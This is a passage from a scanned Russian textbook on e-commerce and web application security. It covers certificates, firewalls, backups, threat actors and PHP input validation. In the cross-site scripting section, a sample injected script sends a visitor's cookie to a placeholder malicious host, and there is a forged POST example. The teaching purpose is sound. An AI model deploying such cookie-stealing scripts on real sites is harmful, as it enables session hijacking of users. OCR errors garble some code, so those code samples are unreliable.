Цифровые сертификаты Хорошо бы иметь возможность проверять, что сообщение не было изменено, а вся последовательность сообщений поступила от определенного компьютера или пользователя. Для крммерческих взаимодействий еще лучше было бы иметь возмож- ность связать пользователя или сервер с каким-либо реальным правовым понятием, таким как физическое или юридическое лицо. Цифровой сертификат объединяет в цифровой подписанной форме открытый ключ и информацию о человеке или организации. Получив сертификат, вы получае- те открытый ключ другой стороны для отправки ей, при необходимости, зашифро- ванных сообщений. Кроме того, цифровой сертификат содержит информацию о дру- гой стороне, которая заведомо не подвергалась изменениям.- В данном случае проблема состоит в том, что информация из сертификата заслу- живает ровно столько доверия, сколько и подписавший его человек. Любой человек может создать и подписать сертификат, в котором будет утверждаться все что угодно. Для коммерческих транзакций полезно наличие третьей, заслуживающей доверия стороны, которая будет проверять подлинность участников и сведений, записанной в их сертификатах. Такие третьи стороны называют центрами сертификации (Certifying Authority — CA). Центры сертификации выдают цифровые сертификаты отдельным лицам и компани- ям, которые должны для этого пройти проверку на подлинность. Из всех центров сертификации наиболее известными являются VeriSign (http: //www. verisign. com/) и Thawte (http: //www. thawte. com/), хотя существует и ряд других. Thawte являются собственностью VeriSign, поэтому существенной разни- цы между их сертификатами нет. Сертификаты некоторых менее известных центров сертификации, таких как Network Solutions (http://www.networksolutions.com) и GoDaddy (http: I/ www. godaddy. com/), стоят значительно дешевле. Центры сертификации подписывают сертификаты, подтверждая, что им были представлены доказательства подлинности лица или компании. Важно отметить, что сертификат не является справкой или официальным подтверждением платеже- способности. Он не гарантирует, что вы имеете дело с кем-то, обладающим хорошей репутацией. Сертификат гарантирует то, что если вас ограбят, то у вас будет шанс найти реальный физический адрес того, кого можно будет привлечь к суду. Сертификаты позволяют создать сеть доверия. Предположим, вы решили дове- рять центру сертификации; тогда вы можете решить доверять людям и компаниям, которым доверяет выбранный центр сертификации. Далее можно решить доверять всем лицам и организациям, которым доверяет владелец сертификата. Цифровые сертификаты чаще всего используются с целью поддержки атмосфе- ры респектабельности на сайте электронной коммерции. При наличии сертификата, выданного известным центром сертификации, веб-браузер может установить SSL-со- единение с сайтом, не выводя при этом никаких предупреждающих диалоговых окон. Веб-серверы, которые поддерживают SSL-соединения, часто называют защищенными веб-серверами. Защищенные веб-серверы Для безопасной связи с веб-браузерами посредством протокола SSL можно исполь- зовать сервер Apache, Microsoft IIS или любой другой бесплатный или коммерческий Глава 15. Безопасность сайта электронной коммерции 345
веб-сервер. Применение сервера Apache позволяет пользоваться UNIX-подобной опе- рационной системой, которая почти наверняка будет более надежной, хотя и более трудной в установке, чем IIS. Естественно, сервер Apache доступен и для платформы Windows. Чтобы использовать SSL на сервере IIS, необходимо установить IIS, сгенериро- вать пару ключей и установить свой сертификат. Для использования протокола SSL на сервере Apache потребуется установить также пакет OpenSSL и модуль mod ssl. Добиться этой цели можно и купив коммерческую версию Apache. Несколько лет Red Hat продавала такой продукт — Stronghold, — который сейчас входит в состав продуктов Red Hat Enterprise Linux. Приобретя это решение, вы получаете надеж- ность Linux в сочетании с простотой установки и технической поддержкой от про- изводителя. В приложении А приведены инструкции по установке двух наиболее популярных веб-серверов — Apache и IIS. Можно сразу же начать использовать SSL, сгенерировав собственный сертификат, однако посетителям вашего сайта будут выдаваться преду- преждения, что вы самостоятельно подписали свой сертификат. Для эффективного использования SSL потребуется получить сертификат у одного из центров сертифи- кации. Нюансы процесса получения сертификата зависят от конкретного центра серти- фикации, но в общем случае вам нужно будет доказать, что вы являетесь легально признанной организацией с физическим адресом, и что эта организация владеет со- ответствующим доменным именем. Далее необходимо создать запрос на подпись сертификата (Certificate Signing Request — CSR). Этот процесс различен на разных серверах. Соответствующие инст- рукции доступны на веб-сайтах центров сертификации. Stronghold и IIS организуют этот процесс на базе диалоговых окон, а сервер Apache требует непосредственного ввода команд. Тем не менее, по сути, процесс одинаков для всех серверов. Его конеч- ным результатом является получение зашифрованного запроса на подпись сертифи- ката. CSR должен выглядеть приблизительно так: --BEGIN NEW CERTIFICATE REQUEST- MIIBuwIBAAKBgQCLnlXX8faMHhtzStp9wY6BVTPuEU9bpMmhrb6vgaNZy4dTe6VS 84p7wGepq5CQjfOL4Hjda+gl2xzto8uxBkCD098Xg9q86CY45HZk+q6GyGOLZSOD 8cQHwhloUP65s5Tz018OFBzpI3bHxfO6aYelWYziDiFKplBrUdua+pK4SQIVAPLH SV9FSz8Z7lH0glZr5H82oQ01AoGAWSPWyfVXPAF8h2GDb+cf97k44VkHZ+Rxpe8G ghlfBn9L3ESWUZNOJMfDLlny7dStYU98VTVNekidYuaBsvyEkFrny7NCUmiuaSnX 4UjtFDkNhX9j5YbCRGLmsc865AT54KRu3102/dKHLo6NgFPirijHy99HJ4LRY9Z9 HkXVzswCgYBwBFH2QfK88C6JKW3ah+6cHQ4Deoiltxi627WN5HcQLwkPGn+WtYSZ jG5tw4tqqogmJ+IP2F/5G6F!2DQP7QDvKNeAU8jXcuijuWo27S2sbhQtXgZRTZvO j Gn8 9BC0mIHgHQMkI7vz 3 5mxlS kk3VNq3ehwhGCvJlvoeiv2 J8X2IQIVA0TRp7 zp En7QlXnXwls7xXbbuKP0 --END NEW CERTIFICATE REQUEST- Вооружившись CSR-запросом, соответствующей суммой, документацией, доказы- вающей ваше существование, а также убедившись, что имя используемого домена совпадает с именем домена в бизнес-документах, можно зарегистрироваться в центре сертификации для получения сертификата. Когда орган сертификации выдаст сертификат, его следует сохранить в своей сис- теме и указать веб-серверу, где его искать. Окончательный сертификат — это тексто- вый файл, который похож на приведенный выше CSR. 346 Часть III. Электронная коммерция и безопасность
Аудит и регистрация Операционная-система позволяет регистрировать любые события. С точки зре- ния безопасности, интерес могут представлять следующие события: ошибки сети, доступ к определенным файлам, таким как конфигурационные файлы или реестр NT, а также обращения *к программам вроде su (эта программа используется в Unix-сис- темах, чтобы выполнять команды от имени другого пользователя, как правило, при- вилегированного) . Файлы журналов помогают обнаружить ошибочные или злонамеренные действия по мере их возникновения. Просмотр журналов после обнаружения проблем может помочь также в понимании того, что послужило причиной возникновения проблемы или взлома. С файлами журналов связаны две проблемы — размер и достоверность. Если установить наиболее параноидальный критерий обнаружения и регистрации проблем, в результате будут созданы огромные журналы, которые очень сложно ис- следовать. Чтобы решить проблему больших журналов, необходимо воспользоваться существующими утилитами или, руководствуясь стратегией защиты, создать собст- венные сценарии поиска “интересных” событий в журналах. Процесс аудита можно выполнять в реальном времени или же периодически. Файлы журналов также могут подвергаться атакам. Если взломщик обладает в системе правами привилегированного пользователя или администратора, он может изменить файлы журналов; дабы скрыть следы своей деятельности. Операционная система Unix позволяет регистрировать события в журнале на другом компьютере. Это значит, что взломщику, чтобы замести следы, придется проникнуть, по меньшей мере, на два компьютера. Подобная функция есть и в Windows, однако пользоваться ей не так легко. Системный администратор может выполнять регулярный аудит, но, возможно, пе- риодически придется прибегать и к внешнему аудиту для проверки действий самого администратора. Брандмауэры Брандмауэры предназначены для изоляции локальной сети от внешнего мира. Подобно тому, как противопожарные стены препятствуют распространению огня, сетевые брандмауэры не позволяют хаосу проникать внутрь сети. Брандмауэр (firewall) предназначен для защиты компьютеров в сети от атак извне. Брандмауэр фильтрует или запрещает передачу данных, если данные не удовлетворя- ют определенным правилам. Он также ограничивает действия компьютеров и людей, которые находятся вне сети. Иногда брандмауэр применяется для ограничения действий пользователей внут- ри сети. Брандмауэр может ограничивать сетевые протоколы, доступные пользова- телям, запрещать соединения с определенными хостами сети и заставлять использо- вать прокси-сервер для снижения стоимости полосы пропускания. Брандмауэром может быть либо специальное устройство, такое как маршрутизатор с поддержкой правил фильтрации, либо программа, выполняющаяся на компьютере. В любом случае брандмауэру требуется доступ к двум сетям (внешней и внутренней) и набор правил. Брандмауэр просматривает весь поток данных, который проходит Глава 15. Безопасность сайта электронной коммерции 347
из одной сети в другую. Если поток данных удовлетворяет правилам, он передается в другую сеть, в противном случае поток блокируется и отбрасывается. Пакеты можно фильтровать по типам, адресам отправителя, адресам получателя или по информации о портах. Некоторые пакеты могут быть просто отброшены, в то время как другие могут регистрироваться в журналах и выдавать аварийные опо- вещения. Резервное копирование данных При любом плане восстановления после сбоя нельзя недооценивать важность ре- зервного копирования. Оборудование и здания можно застраховать или поменять, можно разместить сайт в другом месте, но никакая страховая компания не в состоя- нии возместить потерю специализированного программного обеспечения для рабо- ты в Интернете. Регулярно создавайте резервные копии всех компонентов веб-сайта — статических страниц, сценариев и баз данных. Частота выполнения резервного копирования за- висит от того, насколько динамичен сайт. Если сайт полностью статический, можно обойтись резервным копированием при внесении изменений. Однако сайты, о кото- рых идет речь в этой книге, вероятно, будут изменяться часто, особенно, если плани- руется принимать заказы по сети. ч Большинство сайтов приличных размеров должны устанавливаться на сервере с дисковым массивом RAID (Redundant Array of Inexpensive Disks — массив недорогих дисков с избыточностью), который может поддерживать зеркальное отображение. Такой подход учитывает и возможные сбои жестких дисков. Тем не менее, следует учитывать ситуации, когда что-то может случиться со всем массивом RAID, компью- тером или вообще зданием. Отдельные резервные копии следует делать настолько часто, чтобы это соответст- вовало объему производимых обновлений. Эти резервные копии должны храниться на отдельных носителях и, желательно, в отдельном и безопасном месте на случай пожара, кражи или стихийного бедствия. Существует масса приложений для резервного копирования и восстановления. Мы же уделим основное внимание тому, как создавать резервные копии сайта, по- строенного на основе РНР и базы данных MySQL. Резервное копирование общих файлов Воспользовавшись приложениями для резервного копирования, можно достаточ- но легко создать резервные копии файлов HTML, РНР, изображений и других, не относящихся к базам данных. Из бесплатных программ наиболее широко используется утилита резервного копирования AMANDA (Advanced Maryland Automated Network Disk Archiver — усо- вершенствованный автоматизированный архиватор сетевых дисков из Мэриленда). Эта утилита создана в Университете Мэриленда. Она поставляется в составе многих дистрибутивов UNIX и может использоваться для резервного копирования фай- лов Windows-компьютеров через SAMBA. Дополнительную информацию об утилите AMABDA можно найти на сайте http: / /www. amanda. org. 348 Часть III. Электронная коммерция и безопасность
Резервное копирование и восстановление баз данных MySQL Резервное копирование действующей базы данных значительно сложнее. Потребуется избежать копирования какой-либо таблицы, в которой в данный момент производятся изменения. Инструкции по резервному копированию и восстановлению баз данных MySQL приведены в главе 12. Физическая безопасность Рассмотренные до этого момента угрозы безопасности были связаны с такими не- материальными факторами, как программное обеспечение. Но не следует забывать и о физической безопасности системы. Необходимо помнить о кондиционировании воздуха и противопожарной защите, защите от людей (как от злоумышленников, так и от просто неуклюжих), сбоев электроснабжения и сбоев сети. Система должна быть надежно заперта. В зависимости от размеров системы, это может быть комната, решетка или шкаф. Сотрудники, которым не требуется физи- ческий доступ к системе, и не должны его иметь. Не располагающие соответствую- щими полномочиями сотрудники могут намеренно или случайно выдернуть какой-ни- будь шнур или попытаться обойти средства обеспечения безопасности с помощью загрузочной дискеты. Противопожарные разбрызгиватели воды могут нанести такой же ущерб, как и сам пожар. В прошлом во избежание ущерба применялись халоновые системы по- жаротушения. В настоящее время производство халона запрещено Монреальским протоколом р веществах, разрушающих озоновый слой, поэтому в новых системах должны использоваться другие, менее вредные вещества, такие как аргон или дву- окись углерода. Более подробную информацию об этом можно получить на сайте http://www.ера.gov/Ozone/snap/fire/qa.html. Кратковременные перебои в электроснабжении случаются везде. В районах с не- устойчивой погодой и наземными линиями электропередачи регулярно происходят длительные перебои. Если для вас важна постоянная работа системы, потребуется вложить деньги в источник бесперебойного питания (Uninterruptible Power Supply — UPS). Источник бесперебойного питания, который может поддерживать питание одного компьютера до одного часа, стоит менее 200 долларов США. Увеличение дли- тельности перебоев или объема оборудования влечет за собой увеличение расходов. Для обеспечения работы как кондиционеров, так и компьютеров в случае длитель- ных перебоев в электроснабжении потребуется электрогенератор. Подобно перебоям в электроснабжении, невозможно контролировать как кратко- временные (на протяжении нескольких минут), так и длительные (часовые) перебои в соединении с сетью, хотя они иногда происходят. Если наличие соединения с се- тью имеет очень большое значение, имеет смысл использовать соединения с более чем одним поставщиком Интернет-услуг. Конечно, два соединения с Интернет будут стоить дороже одного, но в случае сбоя у вас все же останется ограниченное по про- пускной способности соединение, а это лучше чем вообще ничего. Проблемы подобного рода являются одной из причин размещения компьютеров в специально предназначенных местах. Хотя не особо крупная организация не всегда Глава 15. Безопасность сайта электронной коммерции 349
может себе позволить использовать источники бесперебойного питания, которые обеспечивали бы работу системы дольше, чем в течение нескольких десятков минут, равно как иметь избыточные соединения с Интернет и дорогие противопожарные системы, все это доступно в специально оборудованных офисных зданиях, предостав- ляющих место под солнцем сотням подобных организаций. Что дальше В4главе 16 мы более подробно поговорим о безопасности веб-приложений. Вы уз- наете, кто ваши основные враги и как защитить от них серверы сети и код. Кроме того, будет рассмотрено планирование катастроф. 350 Часть III. Электронная коммерция и безопасность
16 Безопасность веб-приложений В данной главе мы продолжим рассматривать безопасность приложений, но уже в масштабе безопасности и веб-приложения, и всей среды. Ведь каждая часть веб-приложения должна быть защищена от возможного неверного использования (случайного или преднамеренного), и требуются стратегии разработки приложений, которые способствуют поддержанию безопасности. В главе будут рассмотрены следующие основные темы. Стратегии защиты. Возможные угрозы. Определение, с кем мы имеем дело. Защита кода. Защита веб-'браузера и РНР. Защита сервера баз данных. Защита сети. Защита компьютера и операционной системы. Планирование катастроф. Стратегии защиты Одно из наиболее замечательных свойств Интернета — открытость и доступность всего для всех — может оказаться и серьезной головной болью, с которой придется столкнуться вам, как автору веб-приложения. В Сети существует множество компьюте- ров, и не все их пользователи имеют благородные намерения. При наличии такой вез- десущей опасности просто страшно думать о беззащитном веб-приложении, которое может работать с конфиденциальной информацией наподобие номеров кредитных карточек, информации о банковских счетах или историй болезни. Но предприятие должно работать, и мы — его авторы — должны позаботиться не только о простой за- щите коммерческих аспектов приложения, но и разработать подход к планированию и обеспечению безопасности. Главное здесь — найти должный баланс между необходи- мостью защиты и необходимостью иметь рабочее приложение. Глава 16. Безопасность веб-приложений 351
Сразу настройтесь на верный лад Безопасность — это не просто один из аспектов. Если вы собрались написать веб- приложение и составляете список его желательных свойств, то безопасность — не пункт, который можно включить в этот список и выделить на работу над ним пару дней. Она должна пронизывать все приложение, и усилия на ее поддержание никогда не должны прекращаться, даже после завершения разработки и развертывания при- ложения. Постоянно учитывая и планируя с самого начала различные способы атак на сис- тему с целью ее компрометации, можно создать код, который снизит вероятность возникновения подобных проблем. Кроме того, это сэкономит вам силы и время, ко- торые вы бы потратили на спешную подгонку всех частей приложения в конце разра- ботки, когда руки наконец-то дойдут и до безопасности (и когда почти наверняка будут упущены из виду многие возможные неприятности). Баланс между безопасностью и удобством использования ' Один из главных вопросов, который приходится рассматривать при проектирова- нии системы — пользовательские пароли. Пользователи часто выбирают пароли, ко- торые нетрудно разгадать с помощью специального ПО, особенно если используются слова, присутствующие в словарях. Хотелось бы найти способ снижения вероятности раскрытия пользовательского пароля и последующей компрометацией системы. Одно из решений — потребовать, чтобы каждый пользователь прошел через серию четырех входных диалогов, и каждый раз с отдельным паролем. Можно также потре- бовать, чтобы пользователь менял эти пароли не реже раза в месяц, ц чтобы новые пароли никогда не совпадали со старыми. Это повысило бы безопасность системы, и взломщикам понадобилось бы гораздо больше времени на взлом процесса входа и компрометацию системы. К сожалению, такая система будет настолько защищенной, что никто не захочет ей пользоваться — на каком-то уровне сложности пользователи просто решат, что лучше не связываться с подобной морокой. Так что важно беспокоиться не только о безо- пасности^ но и об ее влиянии на удобство работы. Легкая в использовании система с невысоким уровнем защиты может больше понравиться пользователям, но повысит вероятность возникновения проблем с безопасностью и, как следствие, с перебоями в работе предприятия. С другой стороны, система с мощнейшей защитой, которая в силу этого является абсолютно неудобной в работе, просто отпугнет пользователей и также отрицательно повлияет на дела. Нам, как проектировщикам приложения, нужны способы повышения безопасно- сти без пропорционального ухудшения удобства работы с системой. Как и во всех во- просах, связанных с пользовательским интерфейсом, здесь нет четких и однозначных правил, так что придется полагаться на собственные оценки, тестирование удобства работы и целевые группы, чтобы узнать, как пользователи будут реагировать на наши прототипы и проектные решения. Мониторинг безопасности Когда веб-приложение будет полностью разработано и развёрнуто на производст- венных серверах для работы с реальными людьми, наша работа все еще не будет за- вершена. В понятие защиты входит наблюдение за работой системы, просмотр журна- 352 Часть III. Электронная коммерция и безопасность
лов и других файлов, чтобы оценить производительность и использование системы. Только внимательное наблюдение за работой системы (возможно, с помощью специ- альных средств, которые выполнят за нас часть этого наблюдения) позволяет понять, существуют ли проблемы с безопасностью, и обнаружить области, которые требуют разработки дополнительной защиты. К сожалению, безопасность означает постоянную битву, которую в некотором смысле невозможно выиграть. Постоянный надзор, усовершенствования системы и быстрое реагирование на любые проблемы — цена, которую приходится платить за бесперебойную работу веб-приложения. Наш базовый подход Чтобы получить наиболее полное решение безопасности при разумных затратах усилий и времени, мы опишем двойной подход к безопасности. Первая часть соот- ветствует уже рассмотренным тезисам: планирование защиты приложения и проек- тирование встроенных средств, которые будут обеспечивать эту защиту. Если бы мы любили на все навешивать ярлыки, то могли бы назвать это нисходящим подходом. А вторая часть нашей стратегии называется восходящим подходом. Здесь мы рассмот- рим все отдельные компоненты приложения — сервер баз данных, веб-сервер и сеть, в которой он находится. Мы стараемся обеспечить не только безопасность нашего взаимодействия с этими компонентами, но и безопасность их установки и настройки. Многие продукты по умолчанию инсталлируются с конфигурациями, открытыми для возможных атак, и нужно хорошо знать, где находятся эти бреши и как их ликвиди- ровать. Возможные угрозы В главе 15 мы уже ознакомились с рядом угроз безопасности нашего приложения электронной коммерции. В данной главе мы рассмотрим некоторые из этих угроз и узнаем, как изменить наше пребывание в среде, учитывая эти угрозы. Доступ к секретным данным или их изменение Один из аспектов нашей работы как проектировщиков и программистов веб-при- ложения — обеспечение сохранности всех данных, которые пользователь доверяеГ нам, а также данных, получаемых из других подразделений. При выводе такой ин- формации в веб-приложении нужно сделать так, чтобы пользователь видел только ту информацию, которую ему дозволено видеть, и не видел информацию, предназначен- ную для других пользователей. Допустим, что мы пишем пользовательский интерфейс для системы торговли в паевых фондах. Люди, которые могут получить доступ к нашим таблицам со счета- ми, должны иметь возможность получать по личньгм идентификационным номерам (в США это номера карточек социального страхования — Social Security Numbers, или SSN) индивидуальную информацию — например, какие ценные бумаги имеются у них в наличии и на какую сумму, а в некоторых случаях и информацию о банковском счете. Даже вывод таблицы с именами и адресами представляет собой серьезное наруше- ние безопасности. Клиенты весьма ценят свою конфиденциальность, а длинный спи- сок имен и адресов плюс какая-нибудь дополнительная информация (“все десять тысяч людей, перечисленных в этом списке, любят делать покупки в онлайновых табачных Глава 16. Безопасность веб-приложений 353
лавках”) может оказаться ценным приобретением для маркетинговых фирм, которые не всегда придерживаются правил приличия. Конечно, еще хуже, чем просто доступ к данным, вариант, когда кто-то сможет из- менять эти данные. Счастливый клиент банка может обнаружить, что его счет “рас- толстел” на несколько сотен лишних долларов, либо может оказаться измененным ад- рес доставки товаров клиенту, что также доставит кому-то удовольствие (скорее всего, тому, кто изменил адрес) — ведь он получит кучу посылок, оплаченных кем-то другим. Пропажа или уничтожение данных Нисколько не лучше и ситуация, в которой обнаруживается удаление или уничто- жение части данных. Если кто-то сможет уничтожить таблицы в базе данных, то пред- приятие может понести непоправимый урон. Если это предприятие — Интернет-банк, который выводит информацию о банковских счетах, и вдруг пропадет вся информа- ция хотя бы об одном счете, то такой банк нельзя назвать хорошим. А если будет уда- лена целая таблица пользователей, то придется потратить уйму времени на восстанов- ление баз данных и установление, сколько денег на каком счету находится. Важно понимать, что пропажа или уничтожение данных совсем не обязательно происходит из-за преднамеренного или случайного неверного использования систе- мы. Если сгорит здание, в котором находятся ваши серверы со всеми жесткими диска- ми, то будут утеряны большие объемы данных, так что лучше иметь адекватные планы резервного копирования и аварийного восстановления. Отказ в обслуживании Могут уже говорили об атаках отказа в обслуживании (DoS) и их .более суровых разновидностях — распределенных атаках отказа в обслуживании (DDoS) — как о по- тенциально разрушительных атаках на работоспособность приложения. Если ваши серверы будут выведены из строя на несколько часов или даже больше, то восстано- виться из такой ситуации будет непросто. Вспомните о постоянной доступности в Интернете многих известных сайтов, и что их можно когда угодно найти на их месте: любой период неработоспособности представляет для них проблему. Как и в предыдущем разделе, DoS-атаки могут произойти не только из-за челове- ческого фактора. Допустим, что здание с нашими серверами вдруг сгорело, снесено селевым потоком или разрушено инопланетными захватчиками. Если даже у нас хра- нятся на стороне надежные резервные копии, но нет плана по быстрому восстанов- лению работы этих компьютеров в Сети, то наши клиенты могут быть утеряны на несколько дней. Внедрение вредоносного кода Один из особенно эффективных видов Интернет-атаки мы называем внедрением вредоносного кода. Наиболее известной его разновидностью является межсайтовое выпол- нение сценариев (Cross Site Scripting, сокращается как XSS, чтобы не путать с CSS — кас- кадными таблицами стилей). Такие атаки особенно опасны тем, что при этом не про- исходит немедленная порча или пропажа данных: вместо этого выполняется какой-то код, который приводит к последующей пропаже информации или перенаправлению пользователей, что может обнаружиться далеко не сразу. Межсайтовое выполнение сценариев обычно работает так, как описано ниже. 354 Часть III. Электронная коммерция и безопасность
1. Злоумышленник заполняет какую-то форму, данные из которой будут отображаться другим пользователям (например, вводит комментарий к какой-то статье или сообщение на электронную доску объявлений). Но при этом он вводит текст, который содержит не только сообщение, но и некий сценарий, который может выполняться на клиентской машине, например: <script>="text/javascript"> this.document = "go.somewhere.bad?cookie=" + this.cookie; </script>="text/javascript"> 2. Затем злоумышленник отправляет данные формы и ждет. 3. Другой пользователь системы открывает страницу с вредоносным кодом для просмотра, и его компьютер выполняет введенный сценарий. В нашем простом примере пользователь будет перенаправлен с исходного сайта на другой адрес, да еще с cookie-данными. Компрометация сервера Компрометация сервера приводит к эффектам, которые уже описаны выше, но ее все-таки следует упомянуть отдельно, поскольку иногда взломщики хотят получить дос- туп к вашей системе — обычно в качестве суперпользователя (администратор в Windows- системах или root к Umix-системах). После этого они получают скомпрометированный компьютер в свое полное распоряжение и могут выполнить на нем любую нужную им программу, остановить компьютер или установить очень неприятное ПО. Следует особенно внимательно следить за такими атаками, т.к. после компрометации сервера взломщики, скорее всего, постараются замести все следы их присутствия в системе. Определение, с кем мы имеем дело Интуитивно хочется отнести всех, кто является причиной проблем безопасности, к плохим людям или злоумышленникам, стремящимся причинить вред. Однако на этой сцене часто фигурируют и другие актеры, которые могут действовать неосознан- но и не считать себя в чем-то виноватыми. Взломщики Наиболее очевидная и известная группа — это взломщики (cracker). Мы не будем называть их хакерами (hacker), т.к. это не нравится настоящим хакерам, большинство которых являются честными программистами с вполне приличными намерениями. Взломщики же пытаются, как бы они это ни мотивировали, найти слабые места в сис- теме и использовать их для достижения своих целей. Их может вести жадность, если они пытаются выудить финансовую информацию или номера кредитных карточек; деньги, если за информацию из ваших систем готова заплатить конкурирующая фир- ма; или они просто талантливые личности, которым интересно взломать еще одну систему. Это серьезная опасность для нас, но было бы ошибкой думать только о них. Ничего не подозревающие пользователи зараженных машин Кроме взломщиков следует учитывать и большое количество других людей. При наличии множества уязвимостей и брешей в безопасности в различных частях совре- Глава 16. Безопасность веб-приложений 355
менного ПО значительный процент компьютеров заражен программами, которые ис- пользуют все эти уязвимости и бреши. Машины некоторых пользователей внутренней корпоративной сети могут содержать такое ПО, и оно будет выполнять атаки на сер- вер совершенно б<ез ведома этих пользователей. Недовольные работники Еще одна группа, которую следует принимать во внимание — это работники ком- пании. Эти работники по каким-либо причинам могут причинить или намереваться причинить вред компании, в которой они работают. Мотивы могут быть разными, но такие работники могут, к примеру, пытаться стать хакерами-любителями или заполу- чить инструменты для атак на серверы изнутри корпоративной сети. Если выставить мощную защиту от внешнего мира, но остаться полностью открытыми для внутрен- них атак, то такая защита ничего не стоит. Это веская причина для реализации так называемой демилитаризованной зоны (DMZ), которая будет рассмотрена ниже в дан- ной главе. Кражи оборудования Вы можете даже не подумать о такой угрозе безопасности: кто-то просто заходит в серверное помещение, отключает какой-то аппарат и уносит его из здания. Вы не представляете себе, насколько просто можно войти в офисы многих компаний и про- гуливаться там, не вызывая ни малейших подозрений. Зайдя в нужное место в нужное время, можно выйти оттуда с новехоньким сервером, жесткие диски которого забиты конфиденциальными данными. Мы сами Наверно, это неприятно признавать, но одна из наибольших проблем безопасно- сти в наших системах — это мы сами и написанный нами код. Если не обращать вни- мания на безопасность, если писать неуклюжий код и не заморачиваться с тестирова- нием и проверкой защищенности системы, то мы очень поможем злоумышленникам в их попытках скомпрометировать нашу систему. Если вы что-то делаете, делайте это как следует. Интернет не прощает беспечных и ленивых. Труднее всего выдержать этот принцип, когда нужно убедить шефа или главбуха, что усилия по защите стоят того. Нескольких минут на лекцию о негативных эффектах (в том числе и для итоговой прибыли) огрехов в безопасности будет дос- таточно, чтобы убедить их: дополнительные усилия окупятся в мире, где репутация значит очень многое. Защита кода Следующий аспект нашего подхода к безопасности — отдельное исследование ка- ждого компонента и обдумывание, как можно повысить их защиту. Мы начнем этот раздел с рассмотрения того, что может улучшить защиту нашего кода. Конечно, мы не сможем рассказать обо всем, что можно сделать для защиты от всех возможных угроз безопасности (этой теме посвящены целые книги), но, по крайней мере, мы наметим основные направления. Здесь мы рассмотрим отдельные специфические области в РНР, которые будут использоваться в последующих главах. 356 Часть III. Электронная коммерция и безопасность
Фильтрация пользовательского ввода Один из наиболее важных аспектов защиты нашего веб-приложения — это фильтра- ция всех данных, вводимых пользователем. Авторы приложений должны фильтровать все данные, поступающие из внешних источников. Это не означает, что систему следует проектировать на основе предпо- ложения, что все пользователи — мошенники. Нужно, чтобы они чувствовали себя комфортно, и чтобы им нравилось работать с вашим приложением. Но необходимо подготовиться ко всем вариантам неверного использования системы. При должном уровне фильтрации можно значительно уменьшить количество внешних угроз и существенно повысить устойчивость нашей системы. Даже если пол- ностью доверять своим пользователям, все-таки нельзя быть уверенным, что в их ком- пьютерах не завелись какие-либо шпионские или другие программы, которые могут изменять или посылать новые запросы на наш сервер. И поскольку понятно, насколько важно фильтровать данные, получаемые от внеш- них клиентов, мы рассмотрим способы такой фильтрации. Проверка ожидаемых значений Иногда пользователь должен выбрать одно из возможных значений — например, способ доставки (наземным транспортом, срочная, ночная), область или район и т.д. А теперь представьте себе такую простую форму: <html> <head> <title>Hy и какого ты. . . ncina?</title> </head> <body> <form action="submit_form.php" method="POST"> <input type="radio" name="gender" value="My«CKoi4"/>My?KCKoiz[<br/> <input type="radio" name="gender" value='^eHCKHk["/>XeHCKHfi<br/> <input type="radio" name="gender" value="нeoпpeдeлeнный"/>He ваше дело<Ьг/> <input type="submit" value="IIpM3HaTbC4"/> </form> </body> </html> Эта форма может выглядеть так, как показано на рис. 16.1. При работе с такой формой мы можем предположить, что переменная $_POST[ ’gender’ ] в сценарии submit_form.php может принимать только значения "мужской", "женский" или "неопределенный" — и это будет ошибкой. Ну и какого пи «юла? - МохШа firefox о Эе fifit History gookmarks kjelp ' ’ C? tfty 1 .ht^r/Ao(^ios^hws^/i^BencterJ*rf Мужской 1 Женский He ваше дело Признаться Рис. 16.1. Простая форма для ввода пола пользователя Глава 16. Безопасность веб-приложений 357
Как уже было сказано, в Сети используется простой текстовый протокол — HTTP. После щелчка на кнопке в приведенной выше форме на сервер будет отправлено тек- стовое сообщение примерно такого вида: POST /gender.html НТТР/1.1 Host: www.yourhostname.com User-Agent: Mozilla/5.О (Windows; U; WindowsNT 6.0; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 14 gender=мужской Но ведь ничто не мешает кому-то подключиться к нашему веб-серверу и послать якобы из этой формы произвольный текст. Например, такой: POST /gender.html НТТР/1.1 Host: www.yourhostname.com User-Agent: Mozilla/5.О (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1. Content-Type: application/x-www-form-urlencoded Content-Length: 22 депиег=Я+люблю+соок!е. Предположим, что в сценарии submit form.php обработка данных выполняется следующим кодом: <?php echo "<р align=\"center\">Hon пользователя: . $_POST [’ gender '].". </р>"; Тогда мы не застрахованы от неприятностей. Гораздо лучше обязательно прове- рять, что входное значение действительно совпадает с одним из допустимых: <?php switch ($_POST[’gender’]) { case 'мужской': case 'женский': case 'неопределенный': echo. "<p align=\"center\">0тлично! Ваш пол — ". $_POST [' gender' ] .".</p>"; break; default: echo "<p align=\"center\">" . "<span style=\"color:red;\">BHHMAHHE:</span>" . " Странный какой-то пол попался...</p>"; break; } ?> Данный код больше по объему, но, по крайней мере, мы уверены, что обрабаты- ваются верные значения. Это значительно важнее, если обрабатывать данные, более близкие к финансам, чем пол пользователя. Так что нельзя даже быть уверенным, что значение, полученное из формы, принадлежит ожидаемому множеству — его обяза- тельно надо проверять. Фильтрация даже простейших значений Элементы HTML-формы не принадлежат ни к одному типу и просто передают серверу строки (которые, правда, могут содержать даты, метки времени или числа). 358 Часть III. Электронная коммерция и безопасность
Так что если в форме имеется числовое поле, то не стоит предполагать или надеять- ся, что в него действительно введено число. Даже если среда содержит мощный кли- ентский код, который проверяет, что введено значение требуемого типа, все равно нет гарантии, что это значение напрямую передается на сервер (как было показано в предыдущем разделе). Есть простой способ проверить, что значение имеет нужный тип. Нужно привести или преобразовать его в этот тип, а затем использовать это значение, например: $number_of_nights = (int)$_POST[’num_nights’]; if ($number_of_nights == 0) { echo "ОШИБКА: Неверно количество забронированных ночей!"; exit; } Если пользователь должен ввести дату в каком-то национальном формате — на- пример, ММ/ДД/ГГ для США — то можно написать код проверки, что это действи- тельно дата, например, с помощью PHP-функции checkdate. Эта функция принимает значения месяца, дня и (4-значного) года и проверяет, составляют ли они все вместе допустимую дату: // Разбиение даты на компоненты $mmddyy = split($_POST[’departure_date’], ’ / ’) ; if (count($mmddyy) != 3) { echo "ОШИБКА: Указана неверная дата!"; exit; } / / Обработка значений года вроде 02 или 95 if ( (int) $mmddyy [2] < 100) { if ( (int) $mmddyy [2] > 50) $mmddyy[2] = (int)$mmddyy[2] + 1900; else if ( (int) $mmddyy [2] >= 0) $mmddyy[2] = 